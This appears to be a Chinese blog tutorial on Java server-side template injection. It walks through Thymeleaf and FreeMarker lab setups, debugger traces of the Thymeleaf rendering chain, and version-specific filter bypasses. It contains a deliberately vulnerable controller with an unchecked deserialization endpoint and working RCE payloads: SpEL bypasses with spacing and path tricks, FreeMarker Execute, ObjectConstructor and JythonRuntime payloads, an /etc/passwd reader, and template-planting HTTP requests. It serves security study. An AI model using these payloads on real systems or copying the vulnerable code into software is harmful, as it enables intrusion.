前言 参考大佬博客https://www.cnblogs.com/F12-blog/p/18131128 https://cloud.tencent.com/developer/article/2457613 https://cloud.tencent.com/developer/article/2501660
大概要解决五个java模板的相关注入问题
Thymeleaf :SpringBoot 最常见,分 html 模式、text 文本模式;只有 text 模式下可控模板源才容易 SpEL 注入 RCE,html 模式沙箱限制很强。语法 ${...}、__${...}__
FreeMarker :老牌模板引擎,老版本支持 ?new(),可控模板源即可 RCE。
Velocity :老项目多见,依靠反射调用类,审计老系统经常遇到。
Beetl :国产模板引擎,国内项目用得多,SSTI 利用链成熟。
Pebble :轻量模板引擎,语法接近 Jinja2
然后能搭建靶机的我尽量搭建下之类的
freemark简单提问,了解其它java模板不? freemark注入的恶意类 java模板注人原理?你提到的 java模板注入除了freemark还有?
Thymeleaf(泰姆 - 利夫) 首先就是搭建一个spring MVC的一个项目,这个可以直接叫ai给你搭建
然后我们先看这个controller下面的这个两个文件,
HomeController
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package com.example.mvc.controller; import com.example.mvc.service.UserService; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import java.util.Map; @Controller public class HomeController { private final UserService userService; public HomeController(UserService userService) { this.userService = userService; } @GetMapping("/") public String index(Model model) { model.addAttribute("applicationName", "Spring MVC 示例"); model.addAttribute("users", userService.findAll()); return "index"; } @GetMapping("/hello") @ResponseBody public Map<String, String> hello( @RequestParam(name = "name", defaultValue = "Spring MVC") String name) { return Map.of("message", "你好," + name + "!"); } }
UserController
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package com.example.mvc.controller; import com.example.mvc.model.User; import com.example.mvc.service.UserService; import org.springframework.http.HttpStatus; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.server.ResponseStatusException; import java.util.List; @RestController @RequestMapping("/api/users") public class UserController { private final UserService userService; public UserController(UserService userService) { this.userService = userService; } @GetMapping public List<User> list() { return userService.findAll(); } @GetMapping("/{id}") public User detail(@PathVariable(name = "id") long id) { return userService.findById(id) .orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND, "用户不存在")); } }
发现根目录被占用了,要么删了要么我们新写个路由 TestController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package com.example.mvc.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.Base64; @Controller public class TestController { @GetMapping("/test") public String Welcome(String type) { System.out.println(type); if(type != null && !type.isEmpty()) { return "hello"; } return "index"; } @ResponseBody @RequestMapping("/readobject") public String frontdoor(String payload) throws IOException, ClassNotFoundException { byte[] base64decodedBytes = Base64.getDecoder().decode(payload); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); return "right"; } }
反正都行吧,最后运行起来了就行,不会的就靠agent帮你搞定
然后输入http://localhost:8080/test?type=jdisa 页面返回:jdisa
1 2 3 4 5 6 7 @GetMapping("/test") public String Welcome(@RequestParam(name = "type", required = false) String type, Model model) { System.out.println(type); if(type != null && !type.isEmpty()) { model.addAttribute("type", type); return "hello"; }
这里的test路由,get请求参数为type
如果不带type参数,返回index页面
如果带type参数,那么就是返回hello页面
然后我们来src/main/webapp/WEB-INF/views/hello.jsp
1 <pre><c:out value="${type}"/></pre>
这个就是我们的关键部分
开 TestController.java,在行号左侧的灰色区域 点击:
第 26 行 (public String Welcome(...))→ 红点① —— 看请求进来、参数绑定
第 30 行 (return "hello";)→ 红点② —— 看返回值
然后debug运行
如上图,我们一步一步断点来到了这里
先进入invokeAndHandle,调用invokeForRequest方法,这个操作会获取到我们传进去的视图名称
往下走,这个mavContainer就是一个ModelAndViewContainer容器对象
进入handleReturnValue方法
然后停在这一行的时候我们选中进入,就按个F7就行了(这里会遇到一个问题,我们步入的不是我们要的方法,步入之后步出再步入就一定如下图了)
进入之后,就换跟进的了
往下调试几步,到下面
到这再按f7(前面大佬博客就没给清楚,差点跟丢链子了)
然后来到这里
一路步入来到
DispatcherServlet 是 SpringMVC 的核心类(org.springframework.web.servlet.DispatcherServlet)
里面的两个关键方法
1 2 - `doDispatch` - `render`
再步过一次来到
1 this.processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
到了这再步入
步入后再步过几次来到
1 this.render(mv, request, response);
再步入一次
到这里又和大佬的同步上了,他省了很多步骤
1 view = this.resolveviewName(viewName, mv.getModelInternal(), locale, reques
这行代码,按f7步入。里面会遍历所有注册的 ViewResolver,如果 Thymeleaf 解析器匹配成功,返回 ThymeleafView,回到 DispatcherServlet.render,回到 render 之后,往下走会执行。view.render(mv.getModel(), request, response);,这一行再 F7,才终于进入 ThymeleafView 的 render 方法
下面这步我先不手搓了,用大佬的。我还没搞那个模板嘞(需要在pom引入模板)
往下走进入ThymeleafView的render方法,然后走到这
3.0.12版本链子 我这里主要是3.0.12版本的好好跟下(agent可以直接搭建好需要的环境),3.0.12 的判断:只是简单字符串匹配,T( 紧挨着才拦截,中间有空格就跳过检测
3.0.15 修改了这段校验逻辑:会先做表达式预处理、剔除空白之后再检测关键字 ,空格绕过失效·
然后代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package com.example.mvc.controller; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.Base64; @Controller public class TestController { @GetMapping({"/", "/test"}) public String Welcome(@RequestParam(name = "type", required = false) String type, Model model) { System.out.println(type); model.addAttribute("message", "Thymeleaf 3.0.12 已运行"); if(type != null && !type.isEmpty()) { return "hello/" + type + "/challenge"; // ★视图名拼接用户输入 = SSTI 靶点 } return "index"; } @ResponseBody @RequestMapping("/readobject") public String frontdoor(String payload) throws IOException, ClassNotFoundException { byte[] base64decodedBytes = Base64.getDecoder().decode(payload); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); return "right"; } }
其实就是上面的renderFragment函数。这里直接讲3.0.12版本后的方法,因为3.0.12后加了一层check,需要绕过,之前版本的就是直接SPEL表达式就可以RCE,
1 __${T%20(java.lang.Runtime).getRuntime().exec(%22calc%22)}__::.x
type传入我们的payload,renderFragment方法里获取我们的payload
往下走,这里会判断viewTemplateName是否包含::
这里需要介绍一个东西
1 2 3 4 5 6 7 8 9 10 11 12 13 Thymeleaf 是与 java 配合使用的一款服务端模板引擎,也是 Spring 官方支持的一款服务端模板引擎。而 SSTI 最初是由 [James Kettle](https://portswigger.net/research/server-side-template-injection) 提出研究,[Emilio Pinna](https://github.com/epinna/tplmap) 对他的研究进行了补充,不过这些作者都没有对 Thymeleaf 进行 SSTI 相关的漏洞研究工作,后来 Aleksei Tiurin 在 ACUNETIX 的官方博客上发表了关于 Thymeleaf SSTI 的[文章](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/),因此 Thymeleaf SSTI 逐渐被安全研究者关注。 为了更方便读者理解这个 Bypass,因此在这里简单说一遍一些基础性的内容,如果了解的,可以直接跳到 0x03 的内容。 Thymeleaf 表达式可以有以下类型: - ${...}:变量表达式 —— 通常在实际应用,一般是OGNL表达式或者是 Spring EL,如果集成了Spring的话,可以在上下文变量(context variables )中执行 - *{...}: 选择表达式 —— 类似于变量表达式,区别在于选择表达式是在当前选择的对象而不是整个上下文变量映射上执行。 - #{...}: Message (i18n) 表达式 —— 允许从外部源(比如.properties文件)检索特定于语言环境的消息 - @{...}: 链接 (URL) 表达式 —— 一般用在应用程序中设置正确的 URL/路径(URL重写)。 - ~{...}:片段表达式 —— Thymeleaf 3.x 版本新增的内容,分段段表达式是一种表示标记片段并将其移动到模板周围的简单方法。 正是由于这些表达式,片段可以被复制,或者作为参数传递给其他模板等等 实际上,Thymeleaf 出现 SSTI 问题的主要原因也正是因为这个片段表达式,我们知道片段表达式语法如下: 1. ~{templatename::selector},会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment
重点是片段表达式。假如有一个html代码
1 2 3 4 5 <!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <body> <div th:fragment="banquan"> © 2021 ThreeDream yyds</div> </body> </html>
我们需要在另一个template模板文件引用上述的fragment
1 <div th:insert="~{footer :: banquan}"></div>
这就是片段表达式,片段表达式后面必须要有一个名字,这也对应payload中的.x,这个.x就是名称,那个.也可以去掉改为任意的字符串.
继续往下走,fragmentExpression处进行了一个拼接,刚好是片段表达式形式的拼接
跟进parser.parseExpression这个方法
继续跟进,这里进入preprocess函数
注意上方的Pattern,Pattern.compile("\\_\\_(.*?)\\_\\_", 32); 这个刚好就能识别payload的形式,然后由于是片段表达式,所以有最后的.x
往下走进入execute方法解析匹配到的payload,解析过程就不说了,就是正常的SPEL表达式解析,说一下3.12版本后的一个checker
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 public static boolean containsSpELInstantiationOrStatic(final String expression) { /* * Checks whether the expression contains instantiation of objects ("new SomeClass") or makes use of * static methods ("T(SomeClass)") as both are forbidden in certain contexts in restricted mode. */ final int explen = expression.length(); int n = explen; int ni = 0; // index for computing position in the NEW_ARRAY int si = -1; char c; while (n-- != 0) { c = expression.charAt(n); // When checking for the "new" keyword, we need to identify that it is not a part of a larger // identifier, i.e. there is whitespace after it and no character that might be a part of an // identifier before it. if (ni < NEW_LEN && c == NEW_ARRAY[ni] && (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) { ni++; if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) { return true; // we found an object instantiation } continue; } if (ni > 0) { // We 'restart' the matching counter just in case we had a partial match n += ni; ni = 0; if (si < n) { // This has to be restarted too si = -1; } continue; } ni = 0; if (c == ')') { si = n; } else if (si > n && c == '(' && ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T')) && ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) { return true; } else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) { si = -1; } } return false; }
进入这个方法,他会识别new关键字,不允许存在new关键字,并且不允许存在T(.*)这种形式的字符串,因此就得bypass了,而方法也很简单,fuzz一下就知道是T ()加一个空格就行了。后续的一系列利用都是针对sepl表达式的研究了
Thymeleaf 3.0.12版本中通过checkViewNameNotInRequest来检查ViewName是否与URL PATH一致来防止URL PATH可控导致的模板注入问题,关于此部分我们可以结合解析特性并构造异形的URL来绕过检查,随后迎来的第二轮检查containsSpELInstantiationOrStatic对关键字New进行了检查,限制了诸如T(java.lang.String)和new java.lang.String()构造的语句,同时过滤并对”T(”进行了完全正则匹配,那么我们是不是可以在”T(“两个字符直接插入一些无效的不影响SPEL表达式执行的字符来实现绕过并构造恶意载荷呢?答案是可以的,比如:空格
添加空格构造为
第一轮检测绕过——构造异性URL
第二轮检测绕过——添加空格、%0a(换行)、%09(制表符)进行绕过:
1 2 3 T (java.lang.String) T%0a(java.lang.String) T%09(java.lang.String)
有效利用载荷:
1 2 3 /doc;/__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.x 或 /doc/;/__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.x
Thymeleaf 3.0.15 https://cloud.tencent.com/developer/article/2501660 参考大佬文章 匹配个关键点在于检索是否存在”{“ 如果包含则直接防护true,随后直接抛异常——也就是说只有有表达式就会直接抛异常 同时在Thymeleaf 3.0.15.RELEASE版本中修复了LiteralSubstitutionUtil函数,添加了对于||的过滤处理,如果第一次匹配到”|”则将”inLiteralSubstitution”设置为true,随后继续向下进行匹配,如果匹配到第二个”|”且两者之间相邻则在最后添加拼接一个”||”而不再是直接置空,关于这一点大家可以自我研究一下,这里小透露一下就是这里的”||”是可以用于绕过Thymeleaf 3.0.14版本中的安全检测的,上面的变更已经说的很明显了,有兴趣的小伙伴可以变更pom文件随后进行一个简单的调试分析~ 文件路径:org.thymeleaf.standard.expression.LiteralSubstitutionUtil 文件源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package org.thymeleaf.standard.expression; final class LiteralSubstitutionUtil { private static final char LITERAL_SUBSTITUTION_DELIMITER = '|'; static String performLiteralSubstitution(String input) { if (input == null) { return null; } else { StringBuilder strBuilder = null; boolean inLiteralSubstitution = false; boolean inLiteralSubstitutionInsertion = false; int literalSubstitutionIndex = -1; int expLevel = 0; boolean inLiteral = false; boolean inNothing = true; int inputLen = input.length(); for(int i = 0; i < inputLen; ++i) { char c = input.charAt(i); if (c == '|' && !inLiteralSubstitution && inNothing) { if (strBuilder == null) { strBuilder = new StringBuilder(inputLen + 20); strBuilder.append(input, 0, i); } inLiteralSubstitution = true; literalSubstitutionIndex = i; } else if (c == '|' && inLiteralSubstitution && inNothing) { if (i - literalSubstitutionIndex == 1) { strBuilder.append('|').append('|'); } else if (inLiteralSubstitutionInsertion) { strBuilder.append('\''); inLiteralSubstitutionInsertion = false; } inLiteralSubstitution = false; literalSubstitutionIndex = -1; } else if (inNothing && (c == '$' || c == '*' || c == '#' || c == '@') && i + 1 < inputLen && input.charAt(i + 1) == '{') { if (inLiteralSubstitution && inLiteralSubstitutionInsertion) { strBuilder.append("' + "); inLiteralSubstitutionInsertion = false; } else if (inLiteralSubstitution && i > 0 && input.charAt(i - 1) == '}') { strBuilder.append(" + '' + "); } if (strBuilder != null) { strBuilder.append(c); strBuilder.append('{'); } expLevel = 1; ++i; inNothing = false; } else if (expLevel == 1 && c == '}') { if (strBuilder != null) { strBuilder.append('}'); } expLevel = 0; inNothing = true; } else if (expLevel > 0 && c == '{') { if (strBuilder != null) { strBuilder.append('{'); } ++expLevel; } else if (expLevel > 1 && c == '}') { if (strBuilder != null) { strBuilder.append('}'); } --expLevel; } else if (expLevel > 0) { if (strBuilder != null) { strBuilder.append(c); } } else if (inNothing && !inLiteralSubstitution && c == '\'' && !TextLiteralExpression.isDelimiterEscaped(input, i)) { inNothing = false; inLiteral = true; if (strBuilder != null) { strBuilder.append(c); } } else if (inLiteral && !inLiteralSubstitution && c == '\'' && !TextLiteralExpression.isDelimiterEscaped(input, i)) { inLiteral = false; inNothing = true; if (strBuilder != null) { strBuilder.append(c); } } else if (inLiteralSubstitution && inNothing) { if (!inLiteralSubstitutionInsertion) { if (input.charAt(i - 1) != '|') { strBuilder.append(" + "); } strBuilder.append('\''); inLiteralSubstitutionInsertion = true; } if (c == '\'') { strBuilder.append('\\'); } else if (c == '\\') { strBuilder.append('\\'); } strBuilder.append(c); } else if (strBuilder != null) { strBuilder.append(c); } } if (strBuilder == null) { return input; } else { return strBuilder.toString(); } } } private LiteralSubstitutionUtil() { } }
构造,[[${T(java.lang.Runtime).getRuntime().exec(“calc”)}]] 报错一大堆 从上面可以看到黑名单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Blacklisted classes are: [ java.util.concurrent.RunnableFuture, java.util.concurrent.Executor, java.lang.Runtime, java.util.concurrent.FutureTask, java.util.concurrent.ListenableFuture, java.lang.Runnable, java.util.concurrent.Future, java.lang.Thread, java.lang.reflect.Executable, java.lang.Class, java.lang.ClassLoader, java.sql.DriverManager ]
从上面的报错不难看出这里都有对构造的模板进行黑名单检查,我们在org.thymeleaf.spring5.expression.ThymeleafEvaluationContext$ThymeleafEvaluationContextACLTypeLocator.findType下断点后进行分析调试 随后调用ExpressionUtils.isTypeAllowed(typeName)对typeName进行检索,检查是否是黑名单中的类,在这里后续检查typeName是否为NULL,随后提取前四个字符并于java进行比对,如果是一java开头的则依次循环遍历黑名单进行查找是否有匹配项,黑名单内容如之前调试部分所示,一共12个: 完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static boolean isTypeAllowed(String typeName) { Validate.notNull(typeName, "Type name cannot be null"); int i0 = typeName.indexOf(46); if (i0 >= 0) { String package0 = typeName.substring(0, i0); if ("java".equals(package0)) { Iterator var3 = BLACKLISTED_CLASS_NAME_PREFIXES.iterator(); while(var3.hasNext()) { String prefix = (String)var3.next(); if (typeName.startsWith(prefix)) { return false; } } } } return true; }
那么关于这里的绕过其实就显而易见了,只需要我们构造的模板中不包含上述的黑名单中的类名即可,这里给出其他师傅构造的一条payload:
1 [[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName("org.springframework.expression.spel.standard.SpelExpressionParser","".getClass().getSuperclass(),T(ch.qos.logback.core.util.OptionHelper).getClassLoader()).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}]]
小结 然后本地项目来测一测
我这个环境搭建的logback,15的打12的时候会解析失败
FreeMarker模板注入 https://www.cnblogs.com/Zephyr07/articles/19001763
https://mp.weixin.qq.com/s/1qib6WLuBk5yOnxngFuGJQ
模板引擎介绍 我们都了解 JSP,其实 JSP 也是一种模板引擎,通过后端向前端插入数据而实现动态网页的效果。
在 JSP 之前,使用 servlet 来实现动态网页效果,将数据返回到前端生成 HTML 页面时,异常的繁琐,需要使用 out.write() 一行行的输出,比如:
1 2 3 4 5 out.write("<html>\n") out.write("<head>"\n) out.write("<h1>hello servlet</h1>\n") out.write("</head>\n") out.write("</html>\n")
虽然 JSP 也是模板引擎的一种,但是由于其本质就是 servlet,可以直接无阻碍的访问底层的 servlet API,也可以编写后端代码逻辑,导致前端和后端纠缠在一起,违背了面向对象低耦合、高内聚的核心思想,维护起来也越来越繁琐。因此经过演变,以及优秀的模板引擎接连不断地出现,JSP 也逐渐被替代。这其中就包括 FreeMarker、Velocity 和 Thymeleaf 等等
言归正传,使用大白话简单解释下模板引擎。
比如:前端做好一个模板页面,是人员信息展示页面,在姓名、性别、年龄处,使用模板引擎特定的”变量符/指令/插值”进行占位,后端查询回来的数据可以动态地向这些占位处填充实际数据
模板注入漏洞 SSTI(Server-Side Template Injection,服务器端模板注入),广泛来说是在模板引擎解析模板时,可能因为代码实现不严谨,存在将恶意代码注入到模板中的漏洞。这种漏洞可以被攻击者利用在服务器端执行任意代码,造成严重的安全威胁。
简单说,在模板引擎渲染模板时,如果模板中存在恶意代码,就会在渲染时执行恶意代码。不同的模板触发漏洞的场景也不同,下面我们将针对 FreeMarker、Velocity 和 Thymeleaf 这三款模板引擎进行详细讲解。
因此,模板注入漏洞是基于模板引擎而存在的。如果项目中引入相关模板引擎组件,才有可能存在模板注入漏洞。
本期先探索 FreeMarker 模板引擎。
(总结:核心高危漏洞为服务端模板注入(SSTI) ,漏洞成因是应用直接将可控用户输入传入模板渲染接口,未做过滤与安全配置,攻击者可利用 FreeMarker 内置函数、反射机制实现远程命令执行(RCE)、文件读取、任意类调用 ,危害等级为高危。
漏洞核心根源:FreeMarker 模板语法支持实例化 Java 类、调用原生 API,默认配置宽松,开发者误用动态模板渲染接口,信任用户可控输入,最终触发注入攻击)
FreeMarker 模板引擎 FreeMarker 中文官方参考手册:http://freemarker.foofun.cn/index.html
以下内容摘取自中文官方参考手册,挑选了基础部分记录,详细内容可学习官方参考手册。
FreeMarker 是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML 网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个 Java 类库,是一款程序员可以嵌入他们所开发产品的组件
实际上用程序语言编写的程序就是模板。FTL(代表 FreeMarker 模板语言),这是为编写模板设计的非常简单的编程语言。
模板(FTL 编程)是由如下部分混合而成的:
• ****文本****:文本会照着原样来输出。
• ****插值****:这部分的输出会被计算的值来替换。插值由${ 和} 所分隔的(或者#{ 和},这种风格已经不建议再使用了)。
• ****FTL 标签****:FTL 标签和 HTML 标签很相似,但是它们却是给 FreeMarker 的指示,而且不会打印在输出内容中。
• ****注释****:注释和 HTML 的注释也很相似,但它们是由 <#– 和–> 来分隔的。注释会被 FreeMarker 直接忽略,更不会在输出内容中显示
*插值*
插值的使用格式是:${expression},这里的 expression 可以是所有种类的表达式(比如 ${100 + x})。
插值是用来给表达式插入具体值然后转换为文本(字符串)。插值仅仅可以在两种位置使用:在文本区(比如
Hello ${name}! )和字符串表达式(比如<
#include “/footer/${company}.html”>)中
*内建函数*
FreeMarker 自带大量的内建函数。具体可看:http://freemarker.foofun.cn/ref_builtins.html
在这些大量的内建函数里面,我们主要关注两个,分别为:api 和new
api内建函数。如果 value 本身支持这个额外的特性,value?api 提供访问 value 的 API(通常是 Java API),比如 value?api.someJavaMethod(),当需要调用对象的 Java 方法时,这种方式很少使用。例如,当有一个 Map 放入数据模型(使用默认的对象包装器)时,模板中的 myMap.myMethod() 基本上翻译成 Java 的 ((Method) myMap.get(“myMethod”)).invoke(…),因此不能调用 myMethod。如果编写了 myMap?api.myMethod() 来代替,那么就是 Java 中的 myMap.myMethod()
new内建函数。这是用来创建一个确定的 TemplateModel 实现变量的内建函数。
在? 的左边你可以指定一个字符串,是 TemplateModel 实现类的完全限定名。结果是调用构造方法生成一个方法变量,然后调用该变量
1 2 3 4 5 6 7 8 9 <#-- Creates an user-defined directive be calling the parameterless constructor of the class --> < #assign word_wrapp = "com.acmee.freemarker.WordWrapperDirective"?new()> <#-- Creates an user-defined directive be calling the constructor with one numerical argument --> < #assign word_wrapp_narrow = "com.acmee.freemarker.WordWrapperDirective"?new(40)>
更多关于构造方法参数如何被包装和如何选择重载的构造方法信息,请阅读官方文档。
该内建函数可以是出于安全考虑的,因为模板作者可以创建任意的 Java 对象,只要它们实现了 TemplateModel 接口,然后来使用这些对象。而且模板作者可以触发没有实现 TemplateModel 接口的类的静态初始化块。你可以(从 2.3.17 版本开始)使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或设置new_builtin_class_resolver 来限制这个内建函数对类的访问。参考 Java API 文档获取详细信息。
如果允许并不是很可靠的用户上传模板,那么你一定要关注这个问题
然后可以跟着前面给的公众号那个搭建项目,我是直接叫agent给我搞了这个了
编写 Controller
在src/main/java/com/example/freemarkerdemo 目录下,新建一个名为FreemarkerController 的 Java Class,并键入以下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package com.example.freemarkerdemo; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.web.bind.annotation.RequestMapping; import java.util.HashMap; import java.util.Map; @Controller public class FreemarkerController { @RequestMapping("/freemarker/index") public String fmIndex(ModelMap modelMap) { Map<String, String> map = new HashMap<>(); map.put("id", "student"); map.put("name", "初梦的小屋"); // 给模板添加上面的属性值 modelMap.addAttribute("user", map); return "index"; } }
然后启动我们的项目访问http://127.0.0.1:8888/freemarker/index
FreeMarker 模板注入漏洞 在上面也提到了 SSTI 漏洞,对于模板注入漏洞成因可以简单的说成是在模板引擎渲染模板文件时,由于模板文件中存在恶意代码,从而造成的攻击。
对于 FreeMarker 模板注入漏洞成因也是如此,只不过它与其他模板引擎不同的是,它的攻击可以直接把恶意代码嵌入到 html 文件中,也就是 .ftl 文件中,进而就会造成有危害的攻击。
FreeMarker 无法接收用户的输入 Payload 进行攻击,也就是不能直接传参进行攻击,因为会有转码等操作。在学习完 Thymeleaf 和 Velocity 后,可以对比一下。
因此对于 FreeMarker 模板注入漏洞的攻击,我们着重将视角放在上传模板、修改模板等功能上。
比如修改模板功能,我们只需在修改的模板中嵌入攻击 Payload 即可成功。
(当然了以上说法仅是在无任何防护的理想情况下,实际中可能会遇见各种问题。)
*漏洞 Payload*
在上面我们学习了 FreeMarker 中有大量的内建函数,其中 new 函数和api 函数可以实现命令执行的效果。
但对于api 函数必须在配置项api_builtin_enabled 为 true 时才有效,而该配置在 2.3.22 版本之后默认为 false ***new 内建函数利用* * *
引用自:https://paper.seebug.org/1304/[#liferay](javascript:;)-freemarkerssti
主要是寻找实现了 TemplateModel 接口的可利用类来进行实例化。
freemarker.template.utility 包中存在三个符合条件的类,分别为 Execute 类、ObjectConstructor 类、JythonRuntime 类
1 2 3 4 5 // Execute类 - 直接执行系统命令 < #assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
1 2 3 4 5 // ObjectConstructor类 - 通过ProcessBuilder执行命令 < #assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
1 2 3 4 // JythonRuntime类 - 使用Python执行命令(@value为自定义标签) < #assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>
***api 内建函数利用* * *
我们可以通过 api 内建函数获取类的 classLoader 然后加载恶意类,或者通过 Class.getResource 的返回值来访问 URI 对象。URI 对象包含 toURL 和 create 方法,通过这两个方法创建任意 URI,然后用 toURL 访问任意 URL
1 2 3 4 加载恶意类: < #assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 读取任意文件: < #assign uri=object?api.class.getResource("/").toURI()> < #assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> < #assign is=input?api.getInputStream()> FILE:[< #list 0..999999999 as _> < #assign byte=is.read()> < #if byte == -1> < #break > </ #if > ${byte}, </ #list >]
关于 Payload,推荐下面这篇文章,该文章中对引入的类做了简要说明:https://teamssix.com/211203-200441.html
下面有两个漏洞源码示例,第一个是我先前学习到大家常用的漏洞调试方式。第二个是 OFCMS V1.1.2 版本下存在的 FreeMarker 模板注入漏洞
在这之前,大家可以在示例代码 FreeMarkerDemo 项目中的 index.ftl 文件中嵌入以下攻击代码后,再次访问,即可实现弹出计算器的效果:
1 2 3 < #assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
注意的就是payload的格式
前面复制公众号的有问题
1 <#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
***漏洞源码示例一* * *
源码地址:https://github.com/pawelkaliniakit/springboot-freemarker-ssti 下载成功后,使用 IDEA 打开该项目,最后点击启动运行项目,记得自行修改配置文件中端口避免和其他端口冲突 我们查看 HelloController 代码 首先查看 hello 接口,该接口获取用户输入的值并替换到模板文件插值中,代码如下图所示:
我们访问 hello 接口,构造如下数据包,观察响应结果:
1 2 3 4 5 POST /hello HTTP/1.1 Host: 127.0.0.1:8888 Content-Type: application/json Content-Length: 15 {"name":"aaaa"}
***template 接口* * * 然后查看 template 接口,在该接口中主要使用了 StringTemplateLoader 下的 putTemplate() 方法,该方法可以将模板内容动态放入加载器中(详情可看官方文档)。从这个项目来看,可以动态修改指定模板内容,我们将模板内容嵌入恶意代码后,再次访问该模板,在渲染时即可触发攻击行为,如下图所示:
我们访问 template 接口,构造如下数据包,观察响应结果,最终如下图所示:
1 2 3 4 5 6 7 POST /template HTTP/1.1 Host: 127.0.0.1:8888 Content-Type: application/json Content-Length: 330 {"hello.ftl": "<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\">< #assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"calc.exe\") }<title>Hello!</title><link href=\"/css/main.css\" rel=\"stylesheet\"></head><body><h2 class=\"hello-title\">Hello!</h2><script src=\"/js/main.js\"></script></body></html>"}
最后再次访问 hello 接口,即可触发攻击行为,弹出计算器。
关于 putTemplate 实际项目使用案例,可以拓展学习:https://vimsky.com/examples/detail/java-method-freemarker.cache.StringTemplateLoader..html
最后就是给poc
?new函数
freemarker.template.utility.JythonRuntime:
1 2 <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("cmd.exe /c calc")</@value> //原理:通过自定义标签的方式执行Python命令,从而构造远程命令执行
freemarker.template.utility.Execute:
1 <#assign value="freemarker.template.utility.Execute"?new()>${value("id")}
?api函数
poc1
1 2 3 4 5 6 <#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> ${ex("open -a Calculator.app"")}
poc2
1 <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}
poc3
1 <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")
poc4
1 <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator.app") }
读取文件
